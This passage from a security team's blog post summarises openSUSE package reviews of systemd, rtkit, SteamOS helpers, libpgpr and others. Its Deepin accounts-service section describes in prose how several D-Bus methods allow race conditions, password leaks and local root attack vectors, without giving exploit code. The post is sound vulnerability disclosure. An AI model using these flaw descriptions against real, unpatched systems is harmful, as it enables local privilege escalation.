v258 in <a href="/2026/01/14/autumn-spotlight.html#section-systemd">our previous spotlight post</a>. Meanwhile systemd
upstream has established a new release model leading to more frequent releases
and backports of new features into existing stable branches. This has caused an
increase of review requests in our team, as can be seen by the following list
of review bugs we received since the v258 version release:</p>

<ul>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1257388">bsc#1257388: follow-up review of backported code in systemd 258.3</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1257943">bsc#1257943: follow-up review of backported code in systemd 258.4</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1255368">bsc#1255368: review of changes introduced in systemd 259</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1259318">bsc#1259318: review of changes introduced in systemd 260</a></li>
</ul>

<p>The review of changes in systemd 260 has just been finished and the new
version is about to become available in openSUSE Tumbleweed soon. The
backports into stable 258 branches have been easy to review so far, since they
are mostly clean cherry-pick merges of changes reviewed by us earlier already.</p>

<p>So far we did not find any issues in the continued changes in systemd, but it
remains a challenging review target especially in the area of virtual machine
and container APIs, as we have explained in earlier posts on the topic.</p>

<h1 id="section-snap">3) snapd: Follow-up Audit for Transparent Inclusion of Snap Systemd Services</h1>

<p>After we <a href="/2026/01/14/autumn-spotlight.html#section-snapd">accepted snap</a> into openSUSE Tumbleweed a while ago we
received a <a href="https://bugzilla.suse.com/show_bug.cgi?id=1256175">follow-up review request</a>, which revolves around a
feature to transparently make systemd services available which have been
installed via Snaps.</p>

<p>We have accepted the change, but asked the packagers to include a notice in
the package informing openSUSE users that systemd services installed via Snaps
are not covered by the security review processes of SUSE product security.</p>

<h1 id="section-bootkitd">4) bootkitd: D-Bus Service for Manipulating Bootloader Configuration</h1>

<p><a href="https://github.com/Nykseli/bootkitd">Bootkitd</a> is a D-Bus service for programmatically managing
bootloader configuration. We received <a href="https://bugzilla.suse.com/show_bug.cgi?id=1256421">a review request</a> for
its inclusion into openSUSE Tumbleweed. The service is implemented in the Rust
programming language and is a simple case regarding security, since it is only
accessible by <code class="language-plaintext highlighter-rouge">root</code>. Thus no privilege boundaries are crossed and privilege
escalation is not a concern.</p>

<h1 id="section-libpgpr">5) libpgpr: RPM PGP Signature Parsing Library</h1>

<p><a href="https://github.com/rpm-software-management/libpgpr"><code class="language-plaintext highlighter-rouge">libpgpr</code></a> is a library which has been recently separated from
the main RPM package manager codebase. Its purpose is the parsing and
verification of PGP signatures as they are found embedded in RPM files. Given
the sensitive nature of PGP cryptography and potentially crafted input data,
we have been asked <a href="https://bugzilla.suse.com/show_bug.cgi?id=1257996">to check the security</a> of this library.</p>

<p>The library consists of a legacy C codebase living up to the C90 standard.
The library API is not well documented and not very consistent at the moment.
At the same time the code is concerned with memory management and binary data
structure parsing of high complexity. These shortcomings notwithstanding, the
implementation seems to have matured over time and we believe there are
currently no major errors to be found when processing untrusted data.</p>

<p>In our opinion, the biggest danger regarding security in this codebase will
likely be future changes which might introduce regressions. Also users of the
library won’t easily know what to expect of the API, since requirements are
not clearly marked (e.g. which parameters are optional, when memory ownership
transfers happen and so on).</p>

<p>We provided <a href="https://github.com/rpm-software-management/libpgpr/pull/1/changes/0310a46f661ed9059eb0fb5ab8686ee6f761b2cc">comprehensive comments</a> on the
codebase to upstream, suggesting various refactoring, improvements and test
coverage to bring the project up to a more modern standard.</p>

<h1 id="section-gdm">6) GDM: Changes and Additions in Release 50</h1>

<p>In February our openSUSE Gnome Display Manager (GDM) maintainers started
preparing the upgrade for release 50, which was in Beta testing at the time,
but should be fully released by now. The new version triggered <a href="https://bugzilla.suse.com/show_bug.cgi?id=1258025">a follow-up
review</a> of D-Bus and Polkit related features in GDM.</p>

<p>GDM is tightly integrated with GNOME remote desktop (GRD) these days and the
changes we’ve seen here are related to this integration. The differences
compared to the previous version of GDM have been small in the area of D-Bus
and Polkit, though, and no problematic additional attack surface has been
added in this version.</p>

<h1 id="section-rtkit">7) rtkit: D-Bus Service to Support Unprivileged Realtime Scheduling</h1>

<p>The <a href="https://gitlab.freedesktop.org/pipewire/rtkit">rtkit daemon</a> has been around on Linux distributions for
a long time. Its purpose it to allow unprivileged programs in the system to
make use of real-time scheduling features in a controlled fashion. Linux
offers <a href="https://man7.org/linux/man-pages/man7/sched.7.html">two real-time scheduling policies</a> <code class="language-plaintext highlighter-rouge">SCHED_RR</code> and
<code class="language-plaintext highlighter-rouge">SCHED_FIFO</code>, which perform Round-robin or First-in First-out scheduling
respectively. Rogue processes running under one of these policies can easily
lock up the complete system due to no other userspace threads being scheduled
by the kernel anymore. For this reason, only tasks holding the <code class="language-plaintext highlighter-rouge">CAP_SYS_NICE</code>
capability (usually only <code class="language-plaintext highlighter-rouge">root</code>) are allowed to assign these scheduling
settings.</p>

<p>This is where <code class="language-plaintext highlighter-rouge">rtkit</code> comes in: it offers a D-Bus interface to allow
unprivileged processes to enjoy real-time scheduling features while being
under supervision of the <code class="language-plaintext highlighter-rouge">rtkit</code> daemon to prevent any negative side effects.</p>

<p>In a recent update of <code class="language-plaintext highlighter-rouge">rtkit</code> to version 0.14, changes in its D-Bus
configuration triggered a <a href="https://bugzilla.suse.com/show_bug.cgi?id=1258681">follow-up review</a> after over a decade
since our team last looked at it. <code class="language-plaintext highlighter-rouge">rtkit</code> is installed and running (or
activatable) by default on a number of Linux distributions like openSUSE,
Debian or Fedora. Due to this prevalence of <code class="language-plaintext highlighter-rouge">rtkit</code> in Linux systems, the
inherent danger of a local Denial-of-Service and in light of the amount of
time passed since the last full review, we thought it wise to have a fresh look
at the service’s implementation.</p>

<p>The <code class="language-plaintext highlighter-rouge">rtkit</code> D-Bus configuration follows a bit of an unusual approach by
maintaining <a href="https://gitlab.freedesktop.org/pipewire/rtkit/-/blob/v0.14/org.freedesktop.RealtimeKit1.conf?ref_type=tags#L15">a deny list</a> of methods which may not be
invoked by non-root users. This is not ideal, since additional methods will
automatically be accessible to all users in the system, should a developer
forget to update the deny list. At the moment no problems exist in this area,
however.</p>

<p>The blacklisted D-Bus methods which are only accessible to <code class="language-plaintext highlighter-rouge">root</code> affect the
global state of the daemon. The remaining D-Bus methods are used to request
real-time scheduling for caller-owned processes. These methods are
additionally protected by Polkit authentication; the related Polkit actions
are set to <code class="language-plaintext highlighter-rouge">yes</code> for local users in an active session, meaning that local
interactive users can invoke them without authentication.</p>

<p>The <a href="https://gitlab.freedesktop.org/pipewire/rtkit/-/blob/v0.14/rtkit-daemon.c?ref_type=tags#L1261">implementation of Polkit authentication</a> relies on
rather complex custom code based on the “unix-process” Polkit authentication
subject. This subject is often affected by race conditions and the D-Bus
“system-bus-name” subject should rather be used. In this case the use of
“unix-process” is acceptable, since the request includes not only the client’s
PID but also its process start time and UID, which is retrieved from the UNIX
domain socket D-Bus connection. Thus there should be no way that race
conditions can be exploited in a way that the client is mistaken for <code class="language-plaintext highlighter-rouge">root</code>,
for example.</p>

<p>The actual application of real-time scheduling to a client’s target
process is highly affected by race conditions, due to the retrieval of data
from <code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;</code> and the fact that processes can disappear and/or be
repurposed at any time. The developers are obviously aware of the potential
issues, since they verify the target process’s properties <a href="https://gitlab.freedesktop.org/pipewire/rtkit/-/blob/v0.14/rtkit-daemon.c?ref_type=tags#L763">before and after
changing its scheduling properties</a>. Such detection
of a race condition after the fact is problematic when the risk is a lockup of
the whole system.</p>

<p>Due to this, the daemon also maintains <a href="https://gitlab.freedesktop.org/pipewire/rtkit/-/blob/v0.14/rtkit-daemon.c?ref_type=tags#L1973">a watchdog and a canary
thread</a> to counteract any unexpected effects of
unprivileged real-time scheduling. The watchdog runs at the highest real-time
scheduling priority and periodically monitors whether the canary thread, which
is running with low scheduling priority, is still being scheduled. If a stall
is detected, then the watchdog thread removes the real-time scheduling
settings from all registered client tasks to recover the system. Additionally
the daemon monitors the amount of requests individual users are sending,
and blocks them if a threshold is exceeded.</p>

<p>It is clear that the implementation of this service is confronted with various
uncertainties and it tries to make up for them. The overall result is not
ideal but should be good enough to prevent major security issues. An
improvement to the design could be to obtain a directory file descriptor for
<code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;</code> of the target process, verify the process’s credentials and
further on only use the directory file descriptor anymore for accessing
process data. Explicit PID file descriptors might also help in some other
spots these days (they can also be used for authentication with Polkit now,
for example).</p>

<h1 id="section-steamos">8) SteamOS Package Additions</h1>

<p>There is continued effort by community packagers to bring SteamOS-related
components to openSUSE. We already covered <a href="/2025/10/01/summer-spotlight.html#10-steam-powerbuttond-insecure-operation-in-home-directories">one of these
components</a> in one of last year’s spotlight posts.
This winter we received three additional review requests in this area.
Packaging these components is often difficult, because the programs use
fixed non-standard paths and approaches that don’t fit well into a
general-purpose Linux distribution. We will look into the individual packages
in the following sub-sections.</p>

<h2 id="jupiter-fan-control">jupiter-fan-control</h2>

<p>This <a href="https://bugzilla.suse.com/show_bug.cgi?id=1256004">review</a> is about a fan control daemon which
regulates the speed of the Steam Deck fan. The daemon itself is acceptable, it
mostly deals with hardware information and controls found in <code class="language-plaintext highlighter-rouge">/sys</code> and
therefore it crosses no security boundaries. It also creates a world-readable
logfile in <code class="language-plaintext highlighter-rouge">/var/log</code>, which only contains fan data, however, thus not
resulting in a relevant information leak towards unprivileged users.</p>

<p>A Polkit action allows to start and stop the daemon by providing the
administrator password, which is also fine. A wrapper script which performs
these start/stop actions is placed into
<code class="language-plaintext highlighter-rouge">/usr/bin/steamos-polkit-helpers/jupiter-fan-control</code>, which is a non-standard
location, but according to the packager is hard-coded into SteamOS components
and cannot be changed.</p>

<h2 id="gamescope-session-steam-factory-reset">gamescope-session-steam-factory-reset</h2>

<p><a href="https://bugzilla.suse.com/show_bug.cgi?id=1257125">This review</a> is concerned with a set of scripts
which allow to perform a factory reset operation on SteamOS. On openSUSE there
is nothing sensible that can be done in terms of a factory reset, thus the
packager added scripts that are in effect no-ops. Still these scripts were
supposed to be invoked with root privileges via Polkit authentication.
After a longer discussion with the maintainer we decided to take a different
approach that does not require to run dummy scripts with root privileges, but
still allows system integrators to hook into the process and change the
behaviour.</p>

<h2 id="jupiter-hw-support">jupiter-hw-support</h2>

<p><a href="https://bugzilla.suse.com/show_bug.cgi?id=1257533">The third review</a> is concerned with a bunch of SteamOS
scripts that automatically perform actions like mounting removable devices
without requiring authentication, expecting a single “deck” interactive user
in the system. The community packager discussed some aspects of these
privileged operations with us and how to best integrate them into openSUSE.
The effort is still ongoing.</p>

<h1 id="section-deepin">9) Revisit of Deepin Desktop D-Bus Services after Removal from openSUSE</h1>

<p>A year ago we announced <a href="/2025/05/07/deepin-desktop-removal.html">the removal of Deepin desktop
components</a> from openSUSE because of policy violations and bad
security. Deepin upstream promised to improve the problematic components and
we offered to have a fresh look at things when they would have something new
to show. As a result <a href="https://bugzilla.suse.com/show_bug.cgi?id=1254493">a follow-up review bug</a> was created in
which the Deepin package maintainer claimed that all reported security issues
were fixed by upstream. The following sections discuss two of the D-Bus
components we revisited in this context.</p>

<h2 id="backlight-helper">Backlight Helper</h2>

<p>A small D-Bus helper for <a href="https://bugzilla.suse.com/show_bug.cgi?id=1257149">controlling laptop backlight</a>
seemed like a promising start; the code is clean and conservative. It is
lacking Polkit authentication, however, which means that any user in the
system can meddle with the backlight. Such settings are usually restricted to
local interactive users in an active session. We informed upstream about this
shortcoming and there is supposed to be a fix available by now, but we didn’t
look into it yet.</p>

<h2 id="accounts-service">Accounts Service</h2>

<p>The Deepin <a href="https://bugzilla.suse.com/show_bug.cgi?id=1257142">accounts service</a> offers a larger D-Bus
interface for managing user accounts in the system. We looked into version
6.1.66 of the project. Unfortunately we quickly discovered new security issues
in this component:</p>

<ul>
  <li><a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/users/guest.go#L12">the <code class="language-plaintext highlighter-rouge">CreateGuestUser()</code></a> D-Bus method, which
requires admin authentication, creates a user account with an empty password
and a home directory in a random location in <code class="language-plaintext highlighter-rouge">/tmp</code>. The creation of this
directory is affected by a race condition, which could allow other users in
the system to pre-create the directory. A home directory in <code class="language-plaintext highlighter-rouge">/tmp</code> is highly
unusual and empty passwords, even for guest accounts, are bad practice.</li>
  <li><a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/user_ifc.go#L81">the <code class="language-plaintext highlighter-rouge">SetHomeDir()</code></a> D-Bus method, which requires
only user-level self-authentication, allows to move the user’s home
directory into arbitrary new locations, even <code class="language-plaintext highlighter-rouge">/root</code>. This operation is
performed via the command line <code class="language-plaintext highlighter-rouge">usermod -m -d &lt;new-home-path&gt; &lt;username&gt;</code>. The
only aspect that prevents a simple local root exploit is that <code class="language-plaintext highlighter-rouge">usermod</code>
refuses to perform the operation if the calling user still has processes
running in the system.  How this API function could ever be used meaningfully
for self-administration, then, is puzzling. It might be possible for an
attacker to overcome this check, however, by quickly killing all of its
processes just in time for the <code class="language-plaintext highlighter-rouge">usermod</code> invocation to succeed.</li>
  <li><a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/user_ifc.go#L147">the <code class="language-plaintext highlighter-rouge">SetPassword()</code></a> D-Bus method, again
accessible by providing the user password, is affected by multiple issues:
    <ul>
      <li>the new user password is leaked in the process command line constructed in
<a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/users/prop.go#L178"><code class="language-plaintext highlighter-rouge">ModifyPasswd()</code></a>.</li>
      <li>the function <a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/user_chpwd_union_id.go#L690"><code class="language-plaintext highlighter-rouge">removeLoginKeyring()</code></a>
which is invoked in this context operates as <code class="language-plaintext highlighter-rouge">root</code> in the user’s home
directory, offering local Denial-of-Service attack surface.</li>
      <li><a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/user_chpwd_union_id.go#L119">an insufficient check</a> is made by the D-Bus
service, which tries to verify whether the client is running a trusted
password change application. The check is affected by a race condition and
can be circumvented by malicious clients.</li>
      <li>the function <a href="https://github.com/linuxdeepin/dde-daemon/blob/6.1.66/accounts1/user_chpwd_union_id.go#L530"><code class="language-plaintext highlighter-rouge">newPwdChangerX()</code></a> performs a
<code class="language-plaintext highlighter-rouge">chown()</code> on the client’s <code class="language-plaintext highlighter-rouge">.XAuthority</code> file placed into
<code class="language-plaintext highlighter-rouge">/run/user/&lt;uid&gt;/.XAuthority</code>, which is a local root exploit attack vector.</li>
    </ul>
  </li>
</ul>

<p>The openSUSE Deepin packager informed us that there are also fixes for these
issues available by now, but we did not get around to verify them yet.</p>

<h2 id="summary">Summary</h2>

<p>Due to the recurring number of security issues, the amount of time
required by upstream to address them and a lack of a formal security fix
workflow in the Deepin project we stopped assigning CVEs for the issues we
find in Deepin. We don’t see much value in further CVEs since the security
issues are often quickly replaced by other security issues, thus resulting
mostly in noise. Overall we don’t recommend to use Deepin components until
the security culture of Deepin upstream improves.</p>

<p>By now we are also treating Deepin review requests with lower priority, since
the efforts which went on for years still haven’t yielded acceptable results
and we would rather invest our resources into other, more promising packages.</p>

<h1 id="10-conclusion">10) Conclusion</h1>

<p>One of the fundamental goals of the SUSE Security Team is to keep a high
standard regarding software available in SUSE distributions. Not blindly
accepting new software releases is necessary to uphold this commitment, which
also means often revisiting software we already looked into before.</p>

<p>Keeping up with the fast pace of projects like systemd can be challenging in
this regard, but the security issues we continue to find e.g. in Deepin
software show that this work is still useful. The Spotlight series is one way
to highlight this continuous and not always necessarily glamorous work.</p>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="spotlight" /><summary type="html"><![CDATA[This is the winter 2025/2026 edition of our spotlight series. This time we will discuss, among others, a review of the libpgpr signature parsing library, the rtkit realtime scheduling service and an attempt at bringing Deepin desktop components back to openSUSE.]]></summary></entry></feed>